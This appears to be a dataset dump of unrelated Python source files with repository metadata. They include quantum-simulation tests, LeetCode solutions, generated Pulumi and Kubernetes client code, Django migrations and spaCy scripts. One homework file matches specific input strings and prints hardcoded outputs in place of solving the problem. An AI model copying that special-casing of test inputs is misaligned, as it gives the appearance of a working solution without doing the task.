import types
import string
import sys
import unittest
import pyt... | [
"[email protected]"
] | |
8be51e93ecf1dfcf1bdc6f52dba28b197841a503 | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2607/60752/306988.py | dae9adee217584b8283a077e38a3a77149f01b12 | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 376 | py |
num=int(input())
no=True
for i in range(num):
i=input()
if i=="0102010112":
no=False
print(2)
if i=="102100211102":
no=False
print(6)
if i=="01020101122200":
no=False
print(7)
if i=="0102010":
no=False
print(2)
if i=="10210021... | [
"[email protected]"
] | |
4c64c9d474c1f60086cdba4d5537c4df90ce9022 | 4751a9daca11558dd0780f2e8b9477a484ebc7f4 | /src/qibo/tests_new/test_core_states.py | e6de75b1aef09e71410c5494b3f623d3da275459 | [
"Apache-2.0"
] | permissive | drheli/qibo | f6875ed39883fe7bfa0b8939abb042fe636c5de7 | b99568aee9f978a5a82e92860c8d17e3358af7b9 | refs/heads/master | 2023-04-17T20:40:44.324689 | 2021-04-29T16:29:40 | 2021-04-29T16:29:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,950 | py | """Tests methods defined in `qibo/core/states.py`."""
import pytest
import numpy as np
import qibo
from qibo import K
from qibo.core import states
def test_state_shape_and_dtype(backend):
original_backend = qibo.get_backend()
qibo.set_backend(backend)
state = states.VectorState.zero_state(3)
assert st... | [
"[email protected]"
] | |
5a079b27f0e2992db8f4dbb72c87f6e6b027de9a | 94bd78e63de94859eb076e52683f73f6ea91eae3 | /416.py | 0773cf6b7a43f7ff49a67c9e9c011f08efce2842 | [] | no_license | MadSkittles/leetcode | 70598c1c861a8ff5d2f7c921a311307d55770acc | 817bbb73dfe095b9c9358dc459ba6605a2a9a256 | refs/heads/master | 2021-11-30T04:56:02.432749 | 2021-11-12T03:28:47 | 2021-11-12T03:28:47 | 123,558,601 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,337 | py | class Solution:
def canPartition(self, nums):
from itertools import accumulate
nums = sorted(nums)
s = [*accumulate(nums, lambda x, y: x + y)]
if s[-1] & 1:
return False
dp = [True] + [False] * s[-1]
for i in range(len(nums)):
for j in range(s[... | [
"[email protected]"
] | |
39018bd8df654c888bf236f792358094e3d6bea6 | 77ae7c76d36009daa01b2317439c1f975f7932b2 | /exercicios/ex060att.py | f43127dd20c9afd7b1bbc847fd39bb8f04294c07 | [] | no_license | MatheusOldAccount/Exerc-cios-de-Python-do-Curso-em-Video | 5f26b5a2867fa1a2e36b486a809dfbe8b107b8c2 | 5696c49d3caf5cae817217a2da0598d1cf794f5b | refs/heads/master | 2022-03-22T10:49:33.666660 | 2019-11-25T21:24:43 | 2019-11-25T21:24:43 | 224,052,682 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 321 | py | fat = int(input('Digite um número para\ncalcular seu Fatorial: '))
print('Calculando {}! ='.format(fat), end=' ')
resultado = 1
while fat > 0:
if fat == 1:
print('{} ='.format(fat), end=' ')
else:
print('{} x'.format(fat), end=' ')
resultado *= fat
fat -= 1
print('{}'.format(resultado))
| [
"[email protected]"
] | |
adcfd87bb4a72a735c4618f56ed5135b4423a71d | 7c47e106c9ec85a7239c84c55ad5f20972edefcf | /tests/heavy_sterile_dirac_neutrino/__main__.py | 3d91e82acbdf3d14050992aea89e033d2d9f6408 | [] | no_license | anasthesia/pyBBN | 11813717ad5023a9b29f9594ccde93fbc2d5a0c9 | 0e88604b765eb5ce2f196909c65cf2af11a8cc2f | refs/heads/master | 2021-01-21T03:37:46.309318 | 2016-05-10T12:03:50 | 2016-05-10T12:03:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,223 | py | # -*- coding: utf-8 -*-
"""
## Heavy sterile dirac neutrino
$$ M = 33.9 MeV $$
$$ \theta_\tau \approx 4.86 10^{-2} \sim \tau_N \approx 0.3 sec $$
http://arxiv.org/pdf/hep-ph/0002223v2.pdf
<img src="plots.svg" width=100% />
<img src="particles.svg" width=100% />
"""
import os
import argparse
from collections impor... | [
"[email protected]"
] | |
35e75354b7f206b04d605a0e51b6af3f66379296 | 5e6d8b9989247801718dd1f10009f0f7f54c1eb4 | /sdk/python/pulumi_azure_native/containerregistry/v20201101preview/pipeline_run.py | 22803da79b10e5367a21317726f73caa4573698c | [
"BSD-3-Clause",
"Apache-2.0"
] | permissive | vivimouret29/pulumi-azure-native | d238a8f91688c9bf09d745a7280b9bf2dd6d44e0 | 1cbd988bcb2aa75a83e220cb5abeb805d6484fce | refs/heads/master | 2023-08-26T05:50:40.560691 | 2021-10-21T09:25:07 | 2021-10-21T09:25:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,038 | py | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
fro... | [
"[email protected]"
] | |
4cbadf96fedab1c09a4b39b33bbe809cad5469b1 | 1450b93cf402661054ec4ce21cc80bf555ae370e | /core/scanner.py | c0609ba496bd8100305af4b0f96acc96f3cfe49f | [] | no_license | lambder/dupeguru | 05adee5f743071efee039b932af572d173c9c3d3 | 78db58e0995b6e9584141ab37c5c727f22c2a198 | refs/heads/master | 2020-03-30T05:40:33.973328 | 2014-11-19T16:52:19 | 2014-11-19T16:52:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,738 | py | # Created By: Virgil Dupras
# Created On: 2006/03/03
# Copyright 2014 Hardcoded Software (http://www.hardcoded.net)
#
# This software is licensed under the "BSD" License as described in the "LICENSE" file,
# which should be included with this package. The terms are also available at
# http://www.hardcoded.net/licenses/... | [
"[email protected]"
] | |
099b9d0845f92ff8c2fa69e85d795893a024d24e | 7087a5dd1772c9456f098bc024a894dcaeef5432 | /backup/build/new-calkube/kubernetes-6.0.0_snapshot-py2.7.egg/kubernetes/client/models/v1_portworx_volume_source.py | 611c15aa0788155255a147f5d3ee6c627268a2b7 | [] | no_license | santhoshchami/kubecctl-python | 5be7a5a17cc6f08ec717b3eb1c11719ef7653aba | cd45af465e25b0799d65c573e841e2acb983ee68 | refs/heads/master | 2021-06-23T11:00:43.615062 | 2019-07-10T16:57:06 | 2019-07-10T16:57:06 | 145,669,246 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,234 | py | # coding: utf-8
"""
Kubernetes
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: v1.10.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re... | [
"[email protected]"
] | |
1f852c2b0f5513529cfc6704d2c97b41e3789c9e | 71a6b2d96cc00b7682241f1de77f4d740e810701 | /manage.py | 5161ada7f0b2c48e36964e647c21bb195c12426c | [] | no_license | crowdbotics-apps/app1-19382 | 170e191b6d91b3e4caca7ad8227230f173bea3bd | 71d47dfcf473b48ea0285295ea5e8d37af529779 | refs/heads/master | 2022-12-01T17:29:19.786547 | 2020-08-05T00:18:25 | 2020-08-05T00:18:25 | 285,132,776 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 630 | py | #!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys
def main():
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'app1_19382.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise Imp... | [
"[email protected]"
] | |
d07d642565edc59e0b0d20bb90ff23ec5090a9c4 | 835adeea55324fb9bf0f2c466ba7b740d9d35970 | /react_d/todo/todo/urls.py | 5018d5027738b9c1f8aa7c6956ee4a7267b39a52 | [] | no_license | golammahmud/react-practices-repository | 4f3524832fbcda1bd32508b9dda5d84e4920750f | 5bc3b9ee6142a9152f7ac223358c94ceb43a7ed2 | refs/heads/master | 2023-08-19T18:37:56.417089 | 2021-10-07T12:21:26 | 2021-10-07T12:21:26 | 414,583,846 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 855 | py | """todo URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based vi... | [
"[email protected]"
] | |
6424902da0def910bde07cd8f0ed83ed1b17aece | f2a18b4a1d759cfd44aff9be13848b4bc03560d8 | /ex32.py | 2c577cdcff980c7145146272002e01dbd099382f | [] | no_license | 5h3rr1ll/LearnPythonTheHardWay | 1e740b0d4ab71c4c5218599d970001684fa58eea | 5612f768b8ce93fcc4757e8db128017f00a6c2ea | refs/heads/master | 2021-01-13T05:06:20.749196 | 2017-02-07T19:32:15 | 2017-02-07T19:32:15 | 81,246,206 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 859 | py | #! /usr/bin/env python
# -*- coding: utf-8 -*-
the_count = [1, 2, 3 , 4, 5]
fruits = ["apples", "oranges", "pears", "apricots"]
change = [1, "pennies", 2, "dimes", 3, "quarters"]
# this first kind of for-loop goes through a list
for number in the_count:
print("This is count %d" % number)
# same a above
for fruit... | [
"[email protected]"
] | |
c59b601ebf130c4026f99e5789ac8c4b76a7e310 | b198ab1d3faf79d34b1745236daa5eb02a37e18e | /yggdrasil/metaschema/datatypes/tests/test_ScalarMetaschemaType.py | 48314f79d334dfd2818bdbb8f4e1a711a6736bc8 | [
"BSD-3-Clause"
] | permissive | leighmatth/yggdrasil | 688f13aa0d274217daec9f412269fbbaf5f10aef | dcc4d75a4d2c6aaa7e50e75095a16df1df6b2b0a | refs/heads/master | 2021-07-09T10:39:25.422978 | 2021-04-14T16:40:04 | 2021-04-14T16:40:04 | 245,011,886 | 0 | 0 | NOASSERTION | 2020-03-04T21:54:25 | 2020-03-04T21:54:24 | null | UTF-8 | Python | false | false | 7,355 | py | import copy
import numpy as np
from yggdrasil import units, platform
from yggdrasil.metaschema.datatypes.tests import test_MetaschemaType as parent
from yggdrasil.metaschema.properties.ScalarMetaschemaProperties import (
_valid_types)
class TestScalarMetaschemaType(parent.TestMetaschemaType):
r"""Test class f... | [
"[email protected]"
] | |
285310cf1d4edc5a1443def90668c7c840468d8e | d2c4934325f5ddd567963e7bd2bdc0673f92bc40 | /tests/model_control/detailed/transf_BoxCox/model_control_one_enabled_BoxCox_PolyTrend_Seasonal_DayOfMonth_ARX.py | 1d28284256ded9da5f673fdeaad18a79bbde2158 | [
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | jmabry/pyaf | 797acdd585842474ff4ae1d9db5606877252d9b8 | afbc15a851a2445a7824bf255af612dc429265af | refs/heads/master | 2020-03-20T02:14:12.597970 | 2018-12-17T22:08:11 | 2018-12-17T22:08:11 | 137,104,552 | 0 | 0 | BSD-3-Clause | 2018-12-17T22:08:12 | 2018-06-12T17:15:43 | Python | UTF-8 | Python | false | false | 164 | py | import pyaf.tests.model_control.test_ozone_custom_models_enabled as testmod
testmod.build_model( ['BoxCox'] , ['PolyTrend'] , ['Seasonal_DayOfMonth'] , ['ARX'] ); | [
"[email protected]"
] | |
bdbf66f680b1ea39771b59a2f8431b1111cdba9b | 6eddce1e728afade439a2eae69cb63bcfddd4591 | /PyCad/ObjectGroup.py | 4f7fd3b1db3fee0143f779be257de9e2c2adca98 | [] | no_license | jfu334/PyCad | 7f4858325b152adbe1e6395d577f9f4fbd8bfe7a | 29fe2de4b5a26161623c92d2903af7d2241e24c4 | refs/heads/master | 2020-11-26T16:56:43.436654 | 2019-12-21T19:43:22 | 2019-12-21T19:43:22 | 229,147,618 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 543 | py |
class ObjectGroup:
def __init__(self, *args, color=None):
self._objects=list(args)
if(color is not None):
for i in self._objects:
i.setColor(color)
def addObject(self, object_):
self._objects.append(object_)
def objects(self):
return list(self._objects)
def copy(self):
return ObjectGro... | [
"[email protected]"
] | |
9e4f4b0bd91e9881e0c2b65bfc2072e361de6a75 | 0e538d58825dc3862556b5c68227a32b01db6ebf | /hackerrank/counter_game.py | 08e6d478959d8c86fe372faff900043538a182c0 | [] | no_license | nghiattran/playground | ac6f1e724153df4b84b7e1221765dd60638478fd | 6dfa0b9660ece8d51d439d26afc9d338b1547823 | refs/heads/master | 2021-01-12T09:21:03.068081 | 2017-08-06T22:36:29 | 2017-08-06T22:36:29 | 76,141,798 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 379 | py | def solve(n):
turn = 0
while n != 1:
if n & (n - 1) == 0:
n >>= 1
else:
hi = len(bin(n)) - 3
n -= 1 << hi
turn = (turn + 1) % 2
return 'Louise' if turn == 1 else 'Richard'
def test(n, expected):
res = solve(n)
assert res == expected
# n = 1
# expected = 'Richard'
# test(n, exp... | [
"[email protected]"
] | |
46519bfa56ede49cd6af6ad77abced12dc33b167 | d554b1aa8b70fddf81da8988b4aaa43788fede88 | /5 - Notebooks e Data/1 - Análises numéricas/Arquivos David/Atualizados/logDicas-master/data/2019-1/222/users/4079/codes/1846_1277.py | 484bb8fd32564afb1a3ff017b573748a9c0be05e | [] | no_license | JosephLevinthal/Research-projects | a3bc3ca3b09faad16f5cce5949a2279cf14742ba | 60d5fd6eb864a5181f4321e7a992812f3c2139f9 | refs/heads/master | 2022-07-31T06:43:02.686109 | 2020-05-23T00:24:26 | 2020-05-23T00:24:26 | 266,199,309 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 349 | py | from numpy import*
from numpy.linalg import*
tab=array ([[0,2,11,6,15,11,1],[2,0,7,12,4,2,15],[11,7,0,11,8,3,13],[6,12,11,0,10,2,1],[15,4,8,10,0,5,13],[11,2,3,2,5,0,14],[1,15,13,1,13,14,0]])
c1= int(input("Digite o numero da 1o cidade: "))
c2=int(input("Digite o numero da 2o cidade: "))
a= int((c1/111)-1)
b=int((c2/... | [
"[email protected]"
] | |
d0cd842e8bb16c6c209c3cc94098b0e03846618e | b121b4135f0edf0e39c1ae7343c7df19f56a077f | /mysite/yaml_creator/models/deprecated/SingleFlux.py | 405936402b779d8e5d7652b7830c8ade95feced6 | [] | no_license | MPIBGC-TEE/bgc-md | 25379c03d2333481bd385211f49aff6351e5dd05 | 8912a26d1b7e404ed3ebee4d4799a3518f507756 | refs/heads/master | 2021-05-08T19:07:46.930394 | 2020-10-21T12:08:53 | 2020-10-21T12:08:53 | 119,548,100 | 3 | 3 | null | null | null | null | UTF-8 | Python | false | false | 350 | py | from django.db import models
from . Variable import Variable
#class SingleFlux(models.Model):
class SingleFlux(models.Model):
expr=models.CharField(max_length=200)
source=models.ForeignKey('Variable',related_name='donating',on_delete=models.CASCADE)
target=models.ForeignKey('Variable',related_name='receivi... | [
"[email protected]"
] | |
ee342e5ada539945de7df3fc00fb1518cbefc6df | 2735c5f1a9b1f1a3d2468f0838fc0f20725cbe31 | /usr/lib/pymodules/python2.7/numpy/setupscons.py | 3717a5340ad26ee42bed928d742ef6d52c0bb19e | [] | no_license | sanyaade-iot/rpi-sysroot | f202b9188fd99c372d28b59ebe1b8fcabbfb7a67 | 6e13f05b5b2b44b29ead66c96230a17f077d5198 | refs/heads/master | 2020-04-08T16:14:25.745147 | 2014-03-21T06:27:54 | 2014-03-21T09:47:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 39 | py | /usr/share/pyshared/numpy/setupscons.py | [
"[email protected]"
] | |
65fe121e163bb535d489ac05df663c58e7ebede3 | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2289/60752/278304.py | cdacd943998c206e86876081ac33d814c666414b | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 872 | py | class node:
val=0
left=None
right=None
def __init__(self,val,l,r):
self.val=val
self.left=l
self.right=r
def makeTree(s,n):
if len(s)>=2:
left=node(s[0],None,None)
n.left=left
right=node(s[len(s)-1],None,None)
n.right=right
makeTree(... | [
"[email protected]"
] | |
149a46642e9693a31f64149f977898857f644375 | 1af1c22de6fe8f1d3df09fdacc8efcb8adfc8f21 | /pylib/extract.py | 1ed77dce7f20c9b724eb14096b47481ed1f7c9a3 | [] | no_license | metatab-packages/civicknowledge.com-census-demosearch | baf1770d7bab92823e2214613924236d4f0cd83e | 274c0995a80eb525d9775597912fc47a8b0f135f | refs/heads/master | 2023-05-15T03:39:11.758064 | 2021-06-08T14:08:02 | 2021-06-08T14:08:02 | 333,870,115 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,797 | py | """
"""
import logging
from functools import reduce
from itertools import chain
from pathlib import Path
from auto_tqdm import tqdm
import metapack as mp
import pandas as pd
from demosearch import FileCache
logger = logging.getLogger(__name__)
class LPError(Exception):
pass
aggregates = {
'male_u18': ['b... | [
"[email protected]"
] | |
08b76b891d3c49e3451f42e68c8681bce8002f78 | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_318/ch20_2019_03_26_19_49_33_893196.py | 80c686275aaf34ab2f779dc196621516c51e36bc | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 124 | py | nome=input('qual eh o seu nome')
if(nome=='chris'):
print('todo mundo odeia o chris')
else:
print('ola,',nome)
| [
"[email protected]"
] | |
8bf658fd8055616d84540dde70593b6141fede9d | 2ddd72f5cb69343d98909a8beb0d5c39522f5e2a | /spacy_processing/spacy_tagging.py | 9e5fee1aea4d921f22cecfb2ab0c108dbae598a7 | [
"MIT",
"CC-BY-SA-3.0",
"Apache-2.0"
] | permissive | apmoore1/bl-19-books | 17da453c88a7e16ab651118e7fe0bda494f032b2 | 4e858acf8b7c1b4847ab12ed7a5b023da063523c | refs/heads/main | 2023-07-17T12:09:37.576923 | 2021-09-03T11:29:23 | 2021-09-03T11:29:23 | 304,556,724 | 0 | 0 | Apache-2.0 | 2020-10-21T13:36:57 | 2020-10-16T07:47:58 | null | UTF-8 | Python | false | false | 8,583 | py | import csv
import enum
import json
from typing import List, Dict, Iterable, Tuple
from pathlib import Path
import typer
import en_core_web_md
@enum.unique
class ComponentNames(str, enum.Enum):
NER = "ner"
POS = "tagger"
LEMMA = "lemmatizer"
#PARSER = "parser" not to be included at the moment
app = t... | [
"[email protected]"
] | |
fecfc37d79eccee1527a2fb3a5003db15971b0ca | 2ffbcc3ea6610c5a6fc1a2a5ea44daed82007245 | /utils/checkNan.py | 7c71609b9451ed81cbcb8d67802dd5313734cf2c | [] | no_license | caidish/NeuralRG | 322a5ef24b5378e01e83dc9f2c5555c0199e0a16 | 039c98f708474a57387c0439c318075890b306f0 | refs/heads/master | 2020-03-22T23:38:20.445973 | 2018-06-27T12:22:02 | 2018-06-27T12:22:02 | 140,820,993 | 2 | 0 | null | 2018-07-13T08:38:56 | 2018-07-13T08:38:55 | null | UTF-8 | Python | false | false | 87 | py | import torch
def checkNan(x):
assert torch.isnan(x).sum().item() == 0
return x | [
"[email protected]"
] | |
f343c44be230a73661978ff4efac93a1865c281c | e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f | /indices/nncollater.py | bd1acbb286e2abcb24a97161cfeae579485f506d | [] | no_license | psdh/WhatsintheVector | e8aabacc054a88b4cb25303548980af9a10c12a8 | a24168d068d9c69dc7a0fd13f606c080ae82e2a6 | refs/heads/master | 2021-01-25T10:34:22.651619 | 2015-09-23T11:54:06 | 2015-09-23T11:54:06 | 42,749,205 | 2 | 3 | null | 2015-09-23T11:54:07 | 2015-09-18T22:06:38 | Python | UTF-8 | Python | false | false | 780 | py | ii = [('BentJDO2.py', 1), ('RogePAV2.py', 5), ('CoolWHM2.py', 1), ('RogePAV.py', 1), ('SadlMLP.py', 1), ('WilbRLW.py', 1), ('ProuWCM.py', 1), ('AubePRP2.py', 3), ('CookGHP.py', 2), ('WilkJMC3.py', 1), ('AdamWEP.py', 1), ('FitzRNS3.py', 1), ('CoopJBT2.py', 1), ('CoolWHM.py', 2), ('DibdTRL2.py', 4), ('WadeJEB.py', 5), ('... | [
"[email protected]"
] | |
fda25cd04a77bf1bfc47c634a5515d90cae9a5a2 | e6e0e108758213a96e73e836f032f27dc69c9fee | /leetcode/isomorphic_strings.py | 9bbfb794daaf54b284204b1e608626d91804b8fa | [] | no_license | kristogj/alg_dat | 1a41e70b8b169c79eb05c5e5f44f5de0e50bd9b9 | 7865bcce0f2aa858ff4329301b788fac5de2cd08 | refs/heads/master | 2020-03-30T05:26:36.536544 | 2018-10-06T22:06:45 | 2018-10-06T22:06:45 | 150,799,248 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 754 | py | class Solution(object):
def isIsomorphic(self, s, t):
"""
:type s: str
:type t: str
:rtype: bool
"""
if len(s) != len(t):
return False
m,n = {},{}
for x in range(len(s)):
if s[x] in m.keys():
if m[s[x]] != t[x]:... | [
"[email protected]"
] | |
ab4c4b4bd0a3ccc555139b5410e85394b27166d0 | 2825bf6479e08dfead428ff9f29f28d5c23d953e | /25_2/25_6.py | 16ee0a2a14b274729d3136e9a7323e8b35aeabb8 | [] | no_license | zedaster/ImaevIntensive | bc459187dace7946d8ad75a04e058748134aeac4 | b91760fa23f25ce2d19778781f35416c177ab881 | refs/heads/main | 2023-06-22T00:24:47.039208 | 2021-07-20T10:40:54 | 2021-07-20T10:40:54 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 350 | py | # for n in range(400_000_000, 600_000_000+1):
# x = n
# while x % 4 == 0:
# x //= 4
# while x % 9 == 0:
# x //= 9
# if x == 3:
# print(n, end=' ')
for m in range(2, 31, 2):
for n in range(1, 20, 2):
number = (2**m) * (3**n)
if 400_000_000 <= number <= 600_000_... | [
"[email protected]"
] | |
d7b3582b4c52e7fb88539c13be1c092caeaff812 | a6e4a6f0a73d24a6ba957277899adbd9b84bd594 | /sdk/python/pulumi_azure_native/mixedreality/_inputs.py | e3ee76ba7c0e562f01879921a0d3d73612de3188 | [
"BSD-3-Clause",
"Apache-2.0"
] | permissive | MisinformedDNA/pulumi-azure-native | 9cbd75306e9c8f92abc25be3f73c113cb93865e9 | de974fd984f7e98649951dbe80b4fc0603d03356 | refs/heads/master | 2023-03-24T22:02:03.842935 | 2021-03-08T21:16:19 | 2021-03-08T21:16:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,326 | py | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from .. import _utilities, _tables
from ... | [
"[email protected]"
] | |
ce92586470483837f6477b0a75a40dce98aa8f9a | a652f89c88fcecb3aa665cf20212064049e9a16f | /models/aos_questions_and_answer/dataset/elective_courses_questions/artificial_intelligence/ai_elective_questions.py | c7a2b24914c91838a6347b4bcede3ccf62a582a8 | [] | no_license | princelewis/Elective-Course-Recommender-System | cba3743d914a664145fda3ae060f4cf80bdfbbed | 9e5f165878f7521ce8967c72daa8b538252d0ae8 | refs/heads/master | 2020-05-19T08:19:39.793382 | 2019-03-29T11:50:00 | 2019-03-29T11:50:00 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,679 | py | # Importing required modules
import pandas as pd
from models.aos_questions_and_answer.dataset.elective_courses_questions.artificial_intelligence \
.procesing_ai_elective_courses import \
Util
# Initializing variables
ai_correct = 0
ai_failed = 0
se_correct = 0
se_failed = 0
cn_correct = 0
cn_failed = 0
sye_co... | [
"[email protected]"
] | |
9d449527cdaa26e79a17950d62dcc6a2bdc7d18c | 34f1b1fc2fbca6b61858a83cbdf498fe99648209 | /scripts/create_metadata.py | 7da66e6aad7430fd22dfd617cee183a90212288c | [
"Apache-2.0"
] | permissive | firth/radcomp | 88a97b2918b3e0683d181085d10e3f8a78549e93 | a855a66189b1d7867a6c373d3fdc6ce67f6d3c01 | refs/heads/master | 2020-12-25T02:25:32.772407 | 2020-10-07T02:43:18 | 2020-10-07T02:43:18 | 41,178,899 | 0 | 0 | null | 2020-10-07T02:43:19 | 2015-08-21T21:49:04 | Python | UTF-8 | Python | false | false | 2,840 | py | """ Create the auxillary JSON metadata that goes with this production
{"meta": {"vcp": 212, "product": "N0Q", "valid": "2014-06-25T20:43:55Z",
"site": "DMX"}}
This magic requires that some modifications were done to nex2img to get this
information included in the GEMPAK log file
--- a/gempak/source/programs/upc/prog... | [
"[email protected]"
] | |
5272cd23752277cc1560b83a7879696d5c876c27 | f7aac490b6bdda8a49a6d14534ef733e2cd34bcc | /Code for 1.10.2018/drawCircleXYMove-wrap.py | c3af761110a39aa3ca365c1e84745d4026d2937b | [] | no_license | nmessa/Stratham-Girls-Coding-Club | 67c203fa88f62f2603b62a0d0fd50135a03f69dc | 1bc786b6c794cc3159ed72be25130f9452fb23f6 | refs/heads/master | 2021-05-06T18:01:14.349667 | 2019-03-12T15:26:57 | 2019-03-12T15:26:57 | 111,935,965 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 760 | py | ## Draw Circle
## Author: nmessa
## Draws a circle moving in X and Y direction
## wraps around when it gets to the edge of the screen
from graphics import *
import time
def main():
height = 640
width = 640
radius = 50
#Create a windows to draw in
win = GraphWin('Circle Move XY with wr... | [
"[email protected]"
] | |
198e9d1ccf06652376cec667659e83c694b12771 | 3d1ee3ddb516f0b499f6272fbc7fbd6eefb88a63 | /jpackages/oss/1.0/actions/process.configure.py | a26799fc2992b053ec26cda45d6f47eafac6c365 | [] | no_license | despiegk/jp_serverapps | e72005004273db9dc01d1e64ddfcb28d06137f1f | 82ecc0b56ac85b2fb2d1eb02a80ab4ac99026f47 | refs/heads/master | 2016-09-06T16:06:39.529847 | 2014-08-17T10:17:03 | 2014-08-17T10:17:03 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,243 | py | def main(j,jp):
pass
#configure the application to autostart
# jp.log("set autostart $(jp.name)")
#numprocesses: if more than 1 process, will be started in tmux as $name_$nr
#ports: tcpports
#autostart: does this app start auto
#stopcmd: if special command to stop
#check: check... | [
"[email protected]"
] | |
af35d9e3ecf3fb8d84581752c65f3cf3e9dc1c7d | 237db09490a4fc5976e6f8a8eb783b928bde1cac | /lib/exabgp/version.py | 3ea942e734182c2966ab29fa48eb5abce8e67786 | [] | no_license | brijohn/exabgp | c80a348035ff104b8d9e9c44ae07f97bf8e33728 | 788bde2842f2c2bc22580d0641003f2e93ff56ac | refs/heads/master | 2020-12-25T17:56:51.444190 | 2017-05-30T16:14:59 | 2017-05-30T16:14:59 | 65,487,232 | 0 | 0 | null | 2016-08-11T17:11:12 | 2016-08-11T17:11:12 | null | UTF-8 | Python | false | false | 245 | py | import os
release = "4.0.0-0478a014"
json = "4.0.0"
text = "4.0.0"
version = os.environ.get('EXABGP_VERSION',release)
# Do not change the first line as it is parsed by scripts
if __name__ == '__main__':
import sys
sys.stdout.write(version)
| [
"[email protected]"
] | |
c204c0ca912de6b8876285198e54ba6d72afbf93 | eb93b37c5a76ef09c967ecfd32dc77f0a0e75bef | /article/migrations/0003_auto_20190712_1558.py | 081657f7d7bbbd5e642424535d10296f6309e9ec | [] | no_license | uktrade/data-hub-helpcentre | 9a58d466b264ccdaafea12576039dcf8f2c19015 | 74f741345df3b35164f6d4c1f17bc56c709a4662 | refs/heads/master | 2023-08-16T22:36:14.704989 | 2023-08-15T08:58:10 | 2023-08-15T08:58:10 | 199,607,056 | 4 | 2 | null | 2023-08-15T08:58:12 | 2019-07-30T08:15:54 | CSS | UTF-8 | Python | false | false | 696 | py | # Generated by Django 2.2.3 on 2019-07-12 15:58
import wagtail.blocks
import wagtail.fields
import wagtail.images.blocks
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
("article", "0002_auto_20190712_1537"),
]
operations = [
migrations.AlterField... | [
"[email protected]"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.